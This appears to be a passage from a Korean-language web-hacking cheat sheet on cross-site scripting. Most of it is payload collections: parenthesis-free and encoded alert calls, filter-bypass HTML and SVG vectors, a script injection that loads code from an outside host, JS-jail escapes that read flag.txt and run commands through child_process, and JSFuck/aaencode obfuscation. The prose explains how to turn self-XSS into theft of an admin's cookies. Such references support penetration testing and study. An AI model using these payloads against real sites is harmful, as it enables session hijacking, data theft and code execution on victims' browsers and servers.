setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
```
## **DOM 취약점**

**공격자가 제어하는 안전하지 않은 데이터**를 사용하는 **JS 코드**가 있습니다. 예를 들어 `location.href`와 같은 것입니다. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.\
**DOM 취약점에 대한 설명이 길어져서** [**이 페이지로 이동했습니다**](dom-xss.md)**:**

<a class="content_ref" href="dom-xss.md"><span class="content_ref_label">DOM XSS</span></a>

여기에서 **DOM 취약점이 무엇인지, 어떻게 발생하는지, 그리고 이를 어떻게 악용할 수 있는지에 대한 자세한 설명**을 찾을 수 있습니다.\
또한, 언급된 게시물의 **끝부분에서** [**DOM 클로버링 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾는 것을 잊지 마세요.

### Self-XSS 업그레이드

### 쿠키 XSS

쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인을 찾으면**, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토싱 공격을 사용할 수 있습니다:

<a class="content_ref" href="../hacking-with-cookies/cookie-tossing.md"><span class="content_ref_label">Cookie Tossing</span></a>

이 기술의 훌륭한 악용 사례는 [**이 블로그 게시물**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html)에서 찾을 수 있습니다.

### 세션을 관리자에게 전송하기

사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 때 취약점이 발생할 수 있습니다.

### 세션 미러링

self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있다면, 예를 들어 클라이언트가 도움을 요청할 수 있도록 하여 관리자가 당신을 도와주기 위해 당신의 세션에서 보고 있는 것을 자신의 세션에서 보게 됩니다.

당신은 **관리자가 당신의 self XSS를 유발하게 하고 그의 쿠키/세션을 탈취할 수 있습니다.**

## 기타 우회 방법

### 정규화된 유니코드

서버(또는 클라이언트 측)에서 **반사된 값**이 **유니코드 정규화**되고 있는지 확인하고 이 기능을 악용하여 보호를 우회할 수 있습니다. [**여기에서 예를 찾으세요**](../unicode-injection/index.html#xss-cross-site-scripting).

### PHP FILTER_VALIDATE_EMAIL 플래그 우회
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
"><svg/onload=confirm(1)>"@x.y
```
### Ruby-On-Rails 우회

**RoR 대량 할당**으로 인해 HTML에 인용부호가 삽입되고 인용 제한이 우회되며 추가 필드(onfocus)가 태그 내에 추가될 수 있습니다.\
양식 예제 ([이 보고서에서](https://hackerone.com/reports/709336)), 페이로드를 전송하면:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
"Key","Value" 쌍은 다음과 같이 에코됩니다:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
그런 다음, onfocus 속성이 삽입되고 XSS가 발생합니다.

### 특수 조합
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>

```markup
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS with header injection in a 302 response

만약 **302 Redirect 응답에서 헤더를 주입할 수 있다면**, **브라우저가 임의의 JavaScript를 실행하도록 시도할 수 있습니다**. 이는 **간단하지 않습니다**. 현대 브라우저는 HTTP 응답 상태 코드가 302일 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순한 크로스 사이트 스크립팅 페이로드는 무용지물입니다.

[**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이 보고서**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)에서 Location 헤더 내에서 여러 프로토콜을 테스트하는 방법과 그 중 어떤 것이 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있도록 허용하는지 확인할 수 있습니다.\
과거에 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _빈 Location 헤더_, `resource://`.

### Only Letters, Numbers and Dots

JavaScript가 **실행할** **콜백**을 이러한 문자로 제한할 수 있다면. [**이 게시물의 이 섹션을 읽어보세요**](#javascript-function) 이 동작을 악용하는 방법을 찾기 위해.

### Valid `<script>` Content-Types to XSS

(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) `application/octet-stream`과 같은 **content-type**으로 스크립트를 로드하려고 하면, Chrome은 다음과 같은 오류를 발생시킵니다:

> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Chrome이 **로드된 스크립트**를 실행할 수 있도록 지원하는 유일한 **Content-Type**은 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)에서 const **`kSupportedJavascriptTypes`**에 있는 것들입니다.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">c</span></div>

```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

```
### Script Types to XSS

(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 그래서 어떤 유형이 스크립트를 로드하는 데 사용될 수 있습니까?
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>

```html
<script type="???"></script>
```
- **모듈** (기본, 설명할 필요 없음)
- [**웹 번들**](https://web.dev/web-bundles/): 웹 번들은 HTML, CSS, JS 등 여러 데이터를 **`.wbn`** 파일로 함께 패키징할 수 있는 기능입니다.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>

```html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
```
- [**importmap**](https://github.com/WICG/import-maps)**:** 가져오기 구문을 개선할 수 있게 해줍니다.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>

```html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
```
이 동작은 [**이 글**](https://github.com/zwade/yaca/tree/master/solution)에서 라이브러리를 eval로 재매핑하여 XSS를 유발할 수 있도록 악용하는 데 사용되었습니다.

- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 이 기능은 주로 프리 렌더링으로 인해 발생하는 몇 가지 문제를 해결하기 위한 것입니다. 작동 방식은 다음과 같습니다:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>

```html
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
```
### Web Content-Types to XSS

(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 다음 콘텐츠 유형은 모든 브라우저에서 XSS를 실행할 수 있습니다:

- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? 목록에는 없지만 CTF에서 본 것 같음)
- application/rss+xml (off)
- application/atom+xml (off)

다른 브라우저에서는 다른 **`Content-Types`**를 사용하여 임의의 JS를 실행할 수 있습니다. 확인: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)

### xml Content Type

페이지가 text/xml 콘텐츠 유형을 반환하는 경우 네임스페이스를 지정하고 임의의 JS를 실행할 수 있습니다:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">xml</span></div>

```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
```
### 특수 치환 패턴

**`"some {{template}} data".replace("{{template}}", <user_input>)`**와 같은 것이 사용될 때, 공격자는 [**특수 문자열 치환**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)을 사용하여 일부 보호를 우회하려고 할 수 있습니다: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``

예를 들어 [**이 글**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)에서는 스크립트 내에서 **JSON 문자열을 이스케이프**하고 임의의 코드를 실행하는 데 사용되었습니다.

### Chrome 캐시에서 XSS로

<a class="content_ref" href="chrome-cache-to-xss.md"><span class="content_ref_label">Chrome Cache to XSS</span></a>

### XS Jail 탈출

사용할 수 있는 문자 집합이 제한된 경우, XSJail 문제에 대한 다른 유효한 솔루션을 확인하십시오:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
만약 **모든 것이 정의되지 않은 상태**에서 신뢰할 수 없는 코드를 실행한다면 (예: [**이 글**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) 유용한 객체를 "무에서" 생성하여 임의의 신뢰할 수 없는 코드 실행을 악용할 수 있습니다:

- import() 사용하기
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- `require`에 간접적으로 접근하기

[이것에 따르면](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에 의해 함수 내에서 래핑됩니다, 다음과 같이:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
```
따라서, 해당 모듈에서 **다른 함수를 호출할 수** 있다면, 그 함수에서 `arguments.callee.caller.arguments[1]`를 사용하여 **`require`**에 접근할 수 있습니다:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
```
이전 예와 유사하게, **오류 처리기**를 사용하여 모듈의 **래퍼**에 접근하고 **`require`** 함수를 얻는 것이 가능합니다:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
```
### 난독화 및 고급 우회

- **하나의 페이지에서 다양한 난독화:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
- [http://www.jsfuck.com/](http://www.jsfuck.com)
- 더 정교한 JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
- [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
- [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
- [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
```
## XSS 일반 페이로드

### 여러 페이로드를 1개로

<a class="content_ref" href="steal-info-js.md"><span class="content_ref_label">Steal Info JS</span></a>

### Iframe 트랩

사용자가 iframe을 벗어나지 않고 페이지 내에서 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함):

